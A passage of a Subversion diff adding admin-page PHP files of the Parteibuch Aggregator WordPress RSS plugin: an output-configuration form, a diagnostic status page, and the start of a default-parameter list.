+	$pbaoitem_date_format = bdpDisplayCode($result->{$bdprss_db->pbaoitem_date_format});
+	$pbaoallowablexhtmltags = preg_split("','", $result->{$bdprss_db->pbaoallowablexhtmltags}, -1, PREG_SPLIT_NO_EMPTY);
+
+//cachepage options
+	$pbaoiscachable = bdpDisplayCode($result->{$bdprss_db->pbaoiscachable});
+	$pbaocacheviewpage = bdpDisplayCode($result->{$bdprss_db->pbaocacheviewpage});
+	$pba_otemplate_cache = bdpDisplayCode($result->{$bdprss_db->otemplate_cache});
+
+//feed options
+	$pba_channel_title = bdpDisplayCode($result->{$bdprss_db->pba_channel_title});
+	$pba_channel_link = bdpDisplayCode($result->{$bdprss_db->pba_channel_link});
+	$pba_channel_description = bdpDisplayCode($result->{$bdprss_db->pba_channel_description});
+	$pba_channel_language = bdpDisplayCode($result->{$bdprss_db->pba_channel_language});
+	$pba_channel_copyright = bdpDisplayCode($result->{$bdprss_db->pba_channel_copyright});
+
+//kalender options
+	$pba_otemplate_kalender = bdpDisplayCode($result->{$bdprss_db->otemplate_kalender});
+	$pba_oarchive_date_format = bdpDisplayCode($result->{$bdprss_db->oarchive_date_format});
+	$pba_okalendermonthslist = bdpDisplayCode($result->{$bdprss_db->okalendermonthslist});
+	$pba_okalenderboxtablecaption = bdpDisplayCode($result->{$bdprss_db->okalenderboxtablecaption});
+	$pba_okalender_last = bdpDisplayCode($result->{$bdprss_db->okalender_last});
+	$pba_okalender_next = bdpDisplayCode($result->{$bdprss_db->okalender_next});
+	$pba_okalenderboxdaysofweeklist = bdpDisplayCode($result->{$bdprss_db->okalenderboxdaysofweeklist});
+
+	$pbao_superparameter = bdpDisplayCode($result->{$bdprss_db->pbao_superparameter});
+
+	$pba_wp_pages=$bdprss_db->get_wp_published_pages();
+
+?>
+
+<table width="100%" cellspacing="2" cellpadding="5" class="editform">
+
+<tr valign="top">
+	<td align="left" colspan="2"><h4>Basic configuration</h4>
+		(You may change all values again as often as you like <a href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php">via the tools section of your blog&#39;s admin panel</a>)<br />&nbsp;<br />
+		</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row" align="left">
+		1. Give this output stream a name:<br />&nbsp;<br />&nbsp;<br />
+	</th>
+	<td>
+		<input type="hidden" name="pbaoidentifier" value="<?php echo $pboutput; ?>" />
+		<input type="text" name="pbaoname" value="<?php echo $pbaoname; ?>" size="50" />
+		<br/>(Just type in any name you like)<br /><br />
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row" align="left">
+		2. Select a page where to display this output:
+		<br />&nbsp;<br />&nbsp;<br />
+	</th>
+	<td>
+
+<select name="pbaopage2hookin">
+
+<?php
+$pba_pagecount=count($pba_wp_pages);
+
+//now comes the select element to hook into a wordpress page;
+
+if($pba_pagecount > 0){
+	foreach($pba_wp_pages as $pba_page_key => $pba_wp_page){
+		$pba_selected_page="";
+		if ($pba_wp_page->ID == $pbaopage2hookin) $pba_selected_page=" selected";
+		if(0 == $pbaopage2hookin && $pbastartconfig == 1 && ($pba_page_key + 1) == $pba_pagecount) $pba_selected_page=" selected";
+		$pba_prepared_post_title=bdpDisplayCode($pba_wp_page->post_title);
+		if(strlen($pba_prepared_post_title) > 60) $pba_prepared_post_title = substr($pba_prepared_post_title,0,60) . " ...";
+		echo '<option value="'.$pba_wp_page->ID.'"'.$pba_selected_page.'>'.$pba_wp_page->ID.' - '.$pba_prepared_post_title.'</option>';
+	}
+}
+
+		$pba_selected_page="";
+		if ((0 == $pbaopage2hookin && $pbastartconfig == 0) || $pba_pagecount == 0) $pba_selected_page=" selected";
+		echo '<option value="0"'.$pba_selected_page.'>Do not display this output as a page of my blog&nbsp;&nbsp;&nbsp;</option>';
+
+echo '</select>';
+echo '<br />No choice fitting? Just <a title="Opens in new window: Create and publish a page on your blog" href="page-new.php" target="_blank">publish a new page</a> and then <a title="Refresh this page" href="">refresh</a>.<br /><br />';
+
+if($pba_pagecount == 0) echo '<br /><br /><b>Attentation please: No page found.</b> The Parteibuch Aggregator could not find any published <b>page</b> in your blog to hook into and show output. Maybe you want to <a title="Opens in new window: Create and publish a page on your blog" href="page-new.php" target="_blank">create and publish a page on your blog</a>? <br/><br/>After creating a page, you can come back here, <a title="Refresh this page" href="">refresh this page</a> and select the newly created page to hook this output stream into.<br /><br />'; 
+?>
+
+	</td>
+</tr>
+
+<?php 
+//$mypbaformdebug .= $pbaopage2hookin;
+//if(true) echo '<tr valign="top"><td align="left" colspan="2">Debug: '.$mypbaformdebug . '</td></tr>';
+?>
+
+<tr valign="top">
+	<th  width="40%" scope="row" align="left">
+		3. And hit the save button to complete:<br />&nbsp;<br />&nbsp;<br />
+	</th>
+	<td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
+	<?php echo $pba_editpbaoutput_button; ?>
+	</td>
+</tr>
+
+</table>
+
+<hr/>
+
+<script type="text/javascript">
+function toggledisplay(pbatoggleid){
+	var pbatoggle = document.getElementById(pbatoggleid);
+	if (pbatoggle.style.display != 'block') {
+		pbatoggle.style.display = 'block';
+	}else {
+		if (pbatoggle.style.display == 'block') {
+			pbatoggle.style.display = 'none';
+		}
+	}
+}
+document.write('Do you love lot&#39;s of parameters? The above configuration will be probably enough to display a nice RSS aggregated page on your blog. But if you like, you may view and change with the link beneath many additional parameters. If you are unsure, just don&#39;t use them at all and leave all the additional parameters unchanged.<br /><br />');
+document.write(' [<a href="#" onclick="toggledisplay(\'pbaoutextendedconfig\');return false;">Toggle Additional Parameters</a>]<div id="pbaoutextendedconfig" style="display:none;">');
+</script><noscript>
+The above settings will be probably enough to display a nice RSS aggregated page on your blog. But if you are a freak and love parameters and templates, here you have some additional parameters for this output stream. If you don&#39;t know what to do with the following parameters and templates, just leave all the following parameters unchanged.
+</noscript>
+
+<table width="100%" cellspacing="2" cellpadding="5" class="editform">
+<tr valign="top"><td align="left" colspan="2"><h4>Additional parameters for this output configuration</h4></td></tr>
+<tr valign="top"><td align="left" colspan="2"><h4>Select which items shall be displayed in this output stream</h4></td></tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Select a list filter:
+	</th>
+	<td>
+
+		<input type="radio" name="pbaodefaultlist" 
+			value="0"<?php if(!$pbaodefaultlist) echo ' checked="checked"'; ?>>
+			No list filter - display items of all lists<br />
+<?php
+
+	global $bdprss_db;
+	$result = $bdprss_db->get_all_lists();
+		foreach($result as $r) {
+			$checked="";
+			if($r->identifier == $pbaodefaultlist) $checked=' checked="checked"';
+			echo '<input type="radio" name="pbaodefaultlist" 
+			value="'.$r->identifier.'" '.$checked.'> '.$r->identifier.': 
+			'.$r->name.'<br />';
+		}
+?>
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Maximum items per page:
+	</th>
+	<td>
+		<input type="text" name="pbaomaxitems" 
+			value="<?php echo $pbaomaxitems; ?>" size="5" />
+			(Zero (0) means as many as possible)
+			
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Output special sort order and time filter:
+	</th>
+	<td>
+
+		<input type="radio" name="pbaoformattype" 
+			value="countrecentitem"<?php if($pbaoformattype == 'countrecentitem') echo ' checked="checked"'; ?>>
+			Standard - list by most recent items<br />
+		<input type="radio" name="pbaoformattype" 
+			value="daterecentitem"<?php if($pbaoformattype == 'daterecentitem') echo ' checked="checked"'; ?>>
+			Special - list items of last 24 hours and sort by most recent item time<br />
+		<input type="radio" name="pbaoformattype" 
+			value="sitealpha"<?php if($pbaoformattype == 'sitealpha') echo ' checked="checked"'; ?>>
+			Special - list just one item per site of last 31 days and sort alphabetically<br />
+		<input type="radio" name="pbaoformattype" 
+			value="siteupdate"<?php if($pbaoformattype == 'siteupdate') echo ' checked="checked"'; ?>>
+			Special - list just one item per site of last 31 days and sort by most recent item time
+	</td>
+</tr>
+
+<tr valign="top"><td align="left" colspan="2"><h4>Format the output page</h4></td></tr>
+
+<tr valign="top">
+	<td width="40%">
+		<p>Template for this output page: <br>
+		see <a target="_blank" href="edit.php?page=parteibuch-aggregator/variables.php">here</a> some placeholder
+</p>
+	</td>
+	<td><textarea cols="60" rows="20" name="pbaotemplate_ticker"><?php
+echo $pbaotemplate_ticker;
+?></textarea>
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Append links to the items:
+	</th>
+	<td>
+		Link to item: <input type="checkbox" name="pbaoappend_extra_link" 
+			value="Y" <?php if($pbaoappend_extra_link == 'Y') echo ' checked="checked"'; ?>>
+		&nbsp;&nbsp;&nbsp;To cache: <input type="checkbox" name="pbaoappend_cache_link" 
+			value="Y" <?php if($pbaoappend_cache_link == 'Y') echo ' checked="checked"'; ?>>
+		&nbsp;&nbsp;&nbsp;Social bookmarks: <input type="checkbox" name="pbaoadd_social_bookmarks" 
+			value="Y" <?php if($pbaoadd_social_bookmarks == 'Y') echo ' checked="checked"'; ?>>
+	</td>
+</tr>
+
+<tr valign="top"><td align="left" colspan="2"><h4>Format the items</h4></td></tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Maximum words for each item:
+	</th>
+	<td>
+		<input type="text" name="pbaomaxlength" value="<?php echo $pbaomaxlength; ?>" size="5" /><br />
+		(zero = no maximum word limit)
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Maximum length of words in each item:
+	</th>
+	<td>
+		<input type="text" name="pbaomaxwordlength" 
+			value="<?php echo $pbaomaxwordlength; ?>" size="5" /><br />
+		(zero = no maximum word limit)
+	</td>
+</tr>
+
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Item date format:
+	</th>
+	<td>
+			<input type="text" name="pbaoitem_date_format" 
+			value="<?php echo $pbaoitem_date_format; ?>" size="30" /> (leave empty to show item age)
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		XHTML tags to retain in list output:
+	</th>
+	<td>&nbsp;
+	</td>
+</tr>
+
+<?php
+
+	foreach($bdprssTagSet as $key => $value)
+	{
+		$tag = BDPRSS2::tagalise($key);
+		echo '<tr valign="top"><td width="40%"  align="right">';
+		echo $key;
+		$checked = array_search($key, $pbaoallowablexhtmltags);
+		if($checked !== FALSE) $checked = "checked='checked' "; else $checked='';
+		echo "</td><td><input type='checkbox' name='$tag' $checked /> [";
+			foreach($value as $v) echo " $v";
+		echo "&nbsp;] </td></tr>\n";
+	}
+?>
+
+<tr valign="top"><td align="left" colspan="2"><h4>Format the widget</h4></td></tr>
+
+<tr valign="top">
+	<td width="40%">
+		<p>
+		<?php
+			echo "This is the template for what is output by the RSS Aggregator <a href='widgets.php'>widget</a>. 
+			If you prefer to add the sidebar code manually to your sidebar, you may do it like this (the \"outputid\" defines which output you show):<br/>
+		\$pba_config['outputid']=".$pboutput."; <br/>
+		\$pba_config['show_sidebarwidget'] = 'Y'; <br/>
+		\$pba_return=@PBA::outputwrapper(\$pba_config); <br/>
+		echo \$pba_return['result'];";
+
+		?>
+	<td><textarea cols="60" rows="10" name="pbaosidebarwidget"><?php
+echo $pbaosidebarwidget;
+?></textarea>
+	</td>
+
+
+<tr valign="top"><td align="left" colspan="2"><h4>Cache item presentation</h4></td></tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Allow people to view the cache for the items:
+	</th>
+	<td>
+		<input type="checkbox" name="pbaoiscachable" 
+			value="Y" <?php if($pbaoiscachable == 'Y') echo ' checked="checked"'; ?>>
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Template of cache page:
+	</th>
+	<td><textarea cols="60" rows="10" name="pba_otemplate_cache"><?php
+echo $pba_otemplate_cache;
+?></textarea>
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Special page for cache viewing:
+	</th>
+	<td>
+			<input type="text" name="pbaocacheviewpage" 
+			value="<?php echo $pbaocacheviewpage; ?>" size="50" /><br />
+			(If you have a special page for cache viewing, put the URL in here)
+	</td>
+</tr>
+
+
+
+<tr valign="top"><td align="left" colspan="2"><h4>Feed Output Options</h4></td></tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Feed Title in Output:
+	</th>
+	<td>
+			<input type="text" maxlength="100" name="pba_channel_title" 
+			value="<?php echo $pba_channel_title; ?>" size="50" />
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Feed Channel WWW - Link:
+	</th>
+	<td>
+			<input type="text" maxlength="100" name="pba_channel_link" 
+			value="<?php echo $pba_channel_link; ?>" size="50" /><br/>(if empty, post-&gt;guid from wordpress will be used)
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Feed Channel Description:
+	</th>
+	<td>
+			<input type="text" maxlength="200" name="pba_channel_description" 
+			value="<?php echo $pba_channel_description; ?>" size="50" /> 
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Feed Channel Language Code:
+	</th>
+	<td>
+			<input type="text" maxlength="10" name="pba_channel_language" 
+			value="<?php echo $pba_channel_language; ?>" size="10" /> 
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Feed Channel License:
+	</th>
+	<td>
+			<input type="text" maxlength="100" name="pba_channel_copyright" 
+			value="<?php echo $pba_channel_copyright; ?>" size="50" /> 
+	</td>
+</tr>
+
+<tr valign="top">
+	<td align="left" colspan="2">
+		<h4>Calendar features</h4>
+		<p>The following values affect all calendar related features</p>
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Template of calendar page:
+	</th>
+	<td><textarea cols="60" rows="10" name="pba_otemplate_kalender"><?php
+echo $pba_otemplate_kalender;
+?></textarea>
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Format of calendar dates:
+	</th>
+	<td>
+		<input type="text" name="pba_oarchive_date_format" 
+			value="<?php echo $pba_oarchive_date_format; ?>" size="30" /><br />
+		(Uses <a href="http://www.php.net/date">PHP date format</a>)
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Months in calendar:
+	</th>
+	<td>
+		<input type="text" name="pba_okalendermonthslist" 
+			value="<?php echo $pba_okalendermonthslist; ?>" size="30" />
+	</td>
+</tr>
+
+<tr valign="top">
+	<td align="left" colspan="2">
+		<p>Additional values just for the calendar box</p>
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Caption id for calendar box table:
+	</th>
+	<td>
+		<input type="text" name="pba_okalenderboxtablecaption" 
+			value="<?php echo $pba_okalenderboxtablecaption; ?>" size="20" />
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Caption: Earlier:
+	</th>
+	<td>
+			<input type="text" name="pba_okalender_last" 
+			value="<?php echo $pba_okalender_last; ?>" size="10" /><br />
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Caption: Later
+	</th>
+	<td>
+			<input type="text" name="pba_okalender_next" 
+			value="<?php echo $pba_okalender_next; ?>" size="10" /><br />
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		List of weeks:
+	</th>
+	<td>
+			<input type="text" name="pba_okalenderboxdaysofweeklist" 
+			value="<?php echo $pba_okalenderboxdaysofweeklist; ?>" size="50" /><br />
+	</td>
+</tr>
+
+<tr valign="top">
+	<td align="left" colspan="2">
+		<h4>Free flow parameter overwriting</h4>
+		<p>The following box allows to overwrite any default parameter</p>
+	</td>
+</tr>
+
+<tr valign="top">
+	<td>Free parameter input:<br>
+		Syntax: <br>
+		###SUPERPARAMETER_Defaultparameter1_BEGIN###
+		New value for defaultparameter1
+		###SUPERPARAMETER_END###
+		###SUPERPARAMETER_Defaultparameter2_BEGIN###
+		New value for defaultparameter2
+		###SUPERPARAMETER_END###
+		etc, any newline breaks will be recognized as 
+		part of the parameter value, single true / false
+		will be converted to bool true and false
+	</td>
+	<td><textarea cols="60" rows="10" name="pbao_superparameter"><?php
+echo $pbao_superparameter;
+?></textarea>
+	</td>
+</tr>
+
+
+<tr valign="top">
+	<th  width="40%" scope="row" align="left">
+		Hit the save button to save this configuration:<br />&nbsp;<br />&nbsp;<br />
+	</th>
+	<td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
+	<?php echo $pba_editpbaoutput_button; ?>
+	</td>
+</tr>
+
+</table>
+
+<script type="text/javascript">
+document.write('</div>');
+</script>
+
+</form>
+
+</fieldset>
+
+<?php
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-admin-status.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-admin-status.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-admin-status.php	(revision 44)
@@ -0,0 +1,221 @@
+<?php 
+
+if ($user_level < 6) die ( __('Cheatin&#8217; uh?') ); 
+
+global $bdprss_db, $bdprss_search;
+
+$pbastartconfig=0;
+if(isset($_POST['pbstart'])){
+	$pbastartconfig=abs(intval($_POST['pbstart']));
+}elseif(isset($_GET['pbstart'])){
+	$pbastartconfig=abs(intval($_GET['pbstart']));
+}
+
+
+//let's check if basic functionality is working
+$pba_wp_pages=$bdprss_db->get_wp_published_pages();
+$pba_all_outputs=$bdprss_db->get_all_pbaoutputs();
+
+if(isset($pba_all_outputs[0]->page2hookin)) {
+	$pba_page_hooked_in['id']=$pba_all_outputs[0]->page2hookin;
+	//echo '<br>We hooked into page: ' . $pba_page_hooked_in['id'];
+	if($pba_page_hooked_in['id'] > 0){
+		//let's get some more information about that page
+		foreach($pba_wp_pages as $page_index => $pba_wp_page){
+			//print_r($pba_wp_page);
+			if($pba_wp_page->ID == $pba_page_hooked_in['id']){
+				$pba_page_hooked_in['title']=preg_replace(array('/"/',"/'/"), array('&quot;','&#39;'), $pba_wp_page->post_title);
+				//echo '<br>Title of that page is: ' . $pba_page_hooked_in['title'];
+				$pba_page_hooked_in['guid']=$pba_wp_page->guid;
+				//echo '<br>guid of that page is: ' . $pba_page_hooked_in['guid'];
+			}
+		}
+		if(function_exists('get_page_link')) {
+			$pba_page_href = get_page_link($pba_page_hooked_in['id']);
+			//echo '<br>href to that page is: ' . $pba_page_href;
+		}elseif(isset($pba_page_hooked_in['guid'])){
+			$pba_page_href = $pba_page_hooked_in['guid'];
+		}
+	}// end if isset($pba_all_outputs[0]->page2hookin)
+	//check if we get output
+	$pba_whileloopcounter=1;
+	while ($pba_whileloopcounter <= 3) {
+		$pba_whileloopcounter++;
+		$pba_config['outputid']=$pba_all_outputs[0]->identifier;
+		$pba_config["maxitems"]=1;
+		if($pbastartconfig==0) $pba_config['listid']=0;
+		$pba_result=@PBA::outputwrapper($pba_config);
+		$pba_found_items=$pba_result['founditems'];
+		if($pba_found_items > 1){
+			//echo "You have already " . $pba_found_items . " items in your Aggregator.";
+			break;
+		}else{
+			echo '<p>Please be patient for a minute. The Parteibuch Aggregator tries to poll some feeds for you.</p>';
+			flush();
+			$bdprss_db->updateAll();
+		}
+	}// end while loop
+} // end if isset($pba_all_outputs[0]->page2hookin)
+
+if($pbastartconfig == 1 && $pba_found_items > 0){
+	$bdprss_db->process_new();
+	echo '<h2>Congratulations!</h2>';
+}else{
+	echo '<h2>Programmer&#39;s hell - Status page of the <a href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php">Parteibuch Aggregator</a> plugin</h2>';
+}
+
+echo '<table width="100%" cellspacing="2" cellpadding="5" class="editform">';
+
+if($pbastartconfig == 1 && $pba_found_items > 0){
+
+	echo '<tr valign="top">
+		<td align="left" colspan="2"><h4>You successfully managed to install and configure the <a href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php">Parteibuch Aggregator</a> plugin.</h4>';
+
+	echo '<br><br>Your Parteibuch Aggregator aggregated already ' . $pba_found_items . ' items.';
+
+	echo '<br><br><b>So what&#39;s next?</b>';
+	
+	if(isset($pba_page_href)){
+		echo '<br><br>Maybe you want to see your RSS page "'.$pba_page_hooked_in['title'].'"? So check it out <a target="_blank" title="Opens in new window: &quot;'.$pba_page_hooked_in['title'].'&quot;with output collected by the Parteibuch Aggregator" href="'.$pba_page_href.'">here</a>. Does it fit your likings? Fine. 
+		
+		<br><br>Or do you want to change the layout of the output? If so, go into <a title="Modify configuration of output #1" href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php&action=editpbaoutput&pboutput=1">additional parameters of the output</a> and modify it.';
+	}
+	if(isset($pba_all_outputs[0])){
+		echo '<br><br>Maybe you want to show RSS headlines in the sidebar of your blog? So just <a title="Put a RSS Aggregator widget into your sidebar" href="widgets.php">take the RSS Aggregator widget</a>.';
+		
+		echo "<br><br>Maybe you don't use widgets and you want to add the Parteibuch Aggregator sidebar code manually to your sidebar? <br/>
+		So here is the code to add to your sidebar:<br/><br/>
+		\$pba_config['outputid']=1; <br/>
+		\$pba_config['show_sidebarwidget'] = 'Y'; <br/>
+		\$pba_return=@PBA::outputwrapper(\$pba_config); <br/>
+		echo \$pba_return['result'];";
+	}
+	
+	echo '<br><br>Maybe you want to add your favorite feeds to your aggregator or find out about the options of your aggregator? So just go to your <a title="Go to Parteibuch Aggregator management page" href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php">Parteibuch Aggregator management page</a>.';
+
+//print_r($pba_all_outputs);
+//print_r($pba_wp_pages);
+
+	echo '</td>
+	</tr>';
+} elseif($pbastartconfig == 1) {
+		echo '<tr valign="top">';
+		echo '<td align="left" colspan="2"><h2>Oops, what&#39;s going on here?</h2>';
+		echo '<br><br>You successfully installed the Parteibuch Aggregator, but we can&#39;t find any aggregated items. It may happen that the feed we tried to poll is just not available or not readable at the moment. We recommend <a title="Add your favorite feeds to your RSS Aggregator" href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php#addfeeds">to add your favorite feeds</a> or just wait for some hours until the preinstalled feed become readable again.';
+	echo '</td>
+	</tr>';
+
+}else{
+	echo '<tr valign="top">';
+	echo '<td align="left" colspan="2"><h4>Some basic information</h4>';
+	echo '</td>
+		</tr>';
+
+echo '<tr valign="top">
+	<td width="40%" align="right">
+	Available items:&nbsp;
+	</td>
+	<td>
+	'.$pba_found_items .'
+	</td>
+	</tr>';
+
+	echo '<tr valign="top">';
+	echo '<td align="left" colspan="2"><h4>Information on hooked pages</h4>';
+	echo '</td>
+		</tr>';
+
+	foreach($pba_all_outputs as $pba_output_index => $pba_all_output){
+		$pageshookedin[$pba_all_output->page2hookin]=$pba_all_output->identifier;
+	}
+
+	foreach($pba_wp_pages as $page_index => $pba_wp_page){
+		if(isset($pageshookedin[$pba_wp_page->ID])){
+		echo '<tr valign="top">
+			<td width="40%" align="right">
+			Page '.$pba_wp_page->ID.':&nbsp;
+			</td>
+			<td>
+			hooked by Output ID '.$pageshookedin[$pba_wp_page->ID] .'
+			</td>
+			</tr>';
+		} //end if isset($pageshookedin[$pba_wp_page->ID])
+	} // end foreach($pba_wp_pages as $page_index => $pba_wp_page)
+
+	echo '<tr valign="top">';
+	echo '<td align="left" colspan="2"><h4>Information about serverstatus variable</h4>';
+	echo '</td>
+	</tr>';
+
+	foreach($bdprss_db->serverstatus as $stproperty => $stvalue){
+		echo '<tr valign="top">
+			<td width="40%" align="right">
+			&quot;'.$stproperty.'&quot;:&nbsp;
+			</td>
+			<td>
+			'.PBALIB::get_r($stvalue) .'
+			</td>
+			</tr>';
+	}
+
+	echo '<tr valign="top">';
+	echo '<td align="left" colspan="2"><h4>Information from options table</h4>';
+	echo '</td>
+		</tr>';
+
+	foreach($bdprss_db->get_all_options() as $optionkey => $optionvalue){
+		foreach($optionvalue as $optionkey => $optionvaltmp){
+			if($optionkey != 'name') $optionvaltmp2[$optionkey] = $optionvaltmp;
+		}
+		echo '<tr valign="top">
+			<td width="40%" align="right">
+			Option &quot;'.$optionvalue->name.'&quot;:&nbsp;
+			</td>
+			<td>
+			'.PBALIB::get_r($optionvaltmp2) .'
+			</td>
+			</tr>';
+	} // end foreach($bdprss_db->get_all_options() as $optionkey => $optionvalue)
+
+	echo '<tr valign="top">';
+	echo '<td align="left" colspan="2"><h4>Information about the Parteibuch Aggregator database tables</h4>';
+	echo '</td>
+	</tr>';
+
+	$pba_tables=$bdprss_db->list_all_tables();
+	foreach($pba_tables as $pba_table => $dummy){
+		$tablestatus=$bdprss_db->get_mysql_tablestatus($pba_table);
+		echo '<tr valign="top">
+			<td width="40%" align="right">
+			Table &quot;'.$pba_table.'&quot;:&nbsp;
+			</td>
+			<td>
+			'.PBALIB::get_r($tablestatus) .'
+			</td>
+				</tr>';
+	}//end foreach pba tables
+	
+	echo '<tr valign="top">';
+	echo '<td align="left" colspan="2"><h4>Information on wordpress rewrite rules option setting</h4>';
+	echo '</td>
+	</tr>';
+
+	echo '<tr valign="top">';
+	echo '<td align="left" colspan="2">';
+	echo "This blog's wordpress option rewrite_rules is set to: " . str_replace("\n",'<br>',PBALIB::get_r(get_option('rewrite_rules')));
+	echo '</td>
+	</tr>';
+
+
+	echo '<tr valign="top">';
+	echo '<td align="left" colspan="2"><br><br><b>I have seen enough about this hell, let me out here going <a href="' . $selfreference . '">back to the Parteibuch Aggregator admin page</a></b>';
+	echo '</td>
+	</tr>';
+
+}//end no pbstart
+
+echo '</table>';
+
+//echo 'pbastartconfig is: ' . $pbastartconfig;
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-defaultparameter.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-defaultparameter.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-defaultparameter.php	(revision 44)
@@ -0,0 +1,318 @@
+<?php
+
+	function get_pbadefaultparameter($parametername=''){
+
+		$defaultparameter['outputid']=1;
+		$defaultparameter['outputname']='New output: please give it a meaningful name';
+		$defaultparameter['outputidfromurlallowed']=false;
+		$defaultparameter['searchphrase']="";
+
+		$defaultparameter['feedrequest']=false;
+		$defaultparameter['tickerpage']="1";
+		$defaultparameter['archivdate']="";
+		$defaultparameter['maxitems']="N";
+		$defaultparameter['listid']=false;
+		$defaultparameter['listidfromurlallowed']=false;
+		$defaultparameter['hookintorewriterules']='auto';
+		$defaultparameter['short_cache_link']=false;
+		$defaultparameter['kalreq']=false; //true means, kalenderpage with kalender headers is desired by url
+		$defaultparameter['cacheid']=false;
+		$defaultparameter['formattype']="countrecentitem";
+		$defaultparameter['daterecentitemthreshold']=24 * 60 *60;
+		$defaultparameter['fromtimestamp']=0;
+		$defaultparameter['totimestamp']=0;
+		$defaultparameter['opsfilter']=false;
+		$defaultparameter['orderbysitename']=false;
+		$defaultparameter['sitealphathreshold']=31 * 24 * 60 *60;
+
+		$defaultparameter['getoutputconfigbypageid']=false;
+		$defaultparameter['page2hookin']=0;
+
+//additional parameter to simulate known Parteibuch behaviour
+		$defaultparameter['specialpage1url']='N'; //'http://www.mein-parteibuch.com'; //set to N or to false to disable
+		$defaultparameter['suppressheaderonpage1']='N'; //only 'Y' will enable this feature
+		$defaultparameter['forceboxmaking']='';
+		
+//search related values
+		$defaultparameter['searchenabled']=true;
+		$defaultparameter['search_page_baseurl']=""; //if empty, baseurl will be taken
+		$defaultparameter['searchactionhref'] = ""; //will be calculated in parameter bootstrap
+		$defaultparameter['hiddensearchformformvalues'] = ""; //will be calculated in parameter bootstrap
+
+//caching control
+		$defaultparameter['pba_full_cache_time']= 0; //use 0 to disable full this cache
+		$defaultparameter['pba_kalenderquery_cache_time']= 0; //use 0 to disable this cache
+		$defaultparameter['pba_feedlistquery_cache_time']= 0; //use 0 to disable this cache
+
+		//boxonly: if just a box shall be given out, name the box here
+		//this single parameter shall replace parameters displayonlykalender, displayonlysearchbox, makeonlyfeedlist
+		$defaultparameter['displayonlybox']=""; //unset, false and 'N' should also mean, that not only a box was requested
+
+		//parameters just for historic reference, replaced just after parameter bootstrap, 
+		$defaultparameter['displayonlysearchbox']='N'; ////to be completely replaced by parameter displayonlybox
+		$defaultparameter['displayonlykalender']='N'; //to be completely replaced by parameter displayonlybox
+		$defaultparameter['makeonlyfeedlist']=false; //to be completely replaced by parameter displayonlybox
+		//just used, when ! displayonlybox ) 
+		$defaultparameter['opmlrequest']=false; //to be mapped to parameter displayonlybox
+		$defaultparameter['feedlistrequest']=false; //to be mapped to parameter displayonlybox
+
+    //then all default parameters needed for output
+
+		$defaultparameter['maxbodylength']=50;
+		$defaultparameter['maxwordlength']=35;
+		$defaultparameter['tagset']="";
+		$defaultparameter['formattedtagset']=""; //to be calculated later from $defaultparameter['tagset']
+		$defaultparameter['baseurl']="";
+		$defaultparameter['noextralink']="N"; //"Y" will suppress the extra link at the end of the item body
+		$defaultparameter['extralinktemplate']=" [<a href='###ITEM_URL###' >Link</a>]";
+		$defaultparameter['append_cache_link']="Y";
+		$defaultparameter['iscachable']="Y";
+		$defaultparameter['itemdateformat']="\ \(d.m.Y H:i\h\)\:";
+		$defaultparameter['splittitlebyseparator']=true; // separator shall not be clever chosen, but shall not be configurable, was before $useitemtitles
+		$defaultparameter['cacheviewpage']="";
+		$defaultparameter['cachelinktemplate']=" [<a href='###CACHEHREF###' rel='nofollow'>Cache</a>]";
+		$defaultparameter['add_social_bookmarks']='Y';
+		$defaultparameter['itemssbtemplate']='<script type="text/javascript">
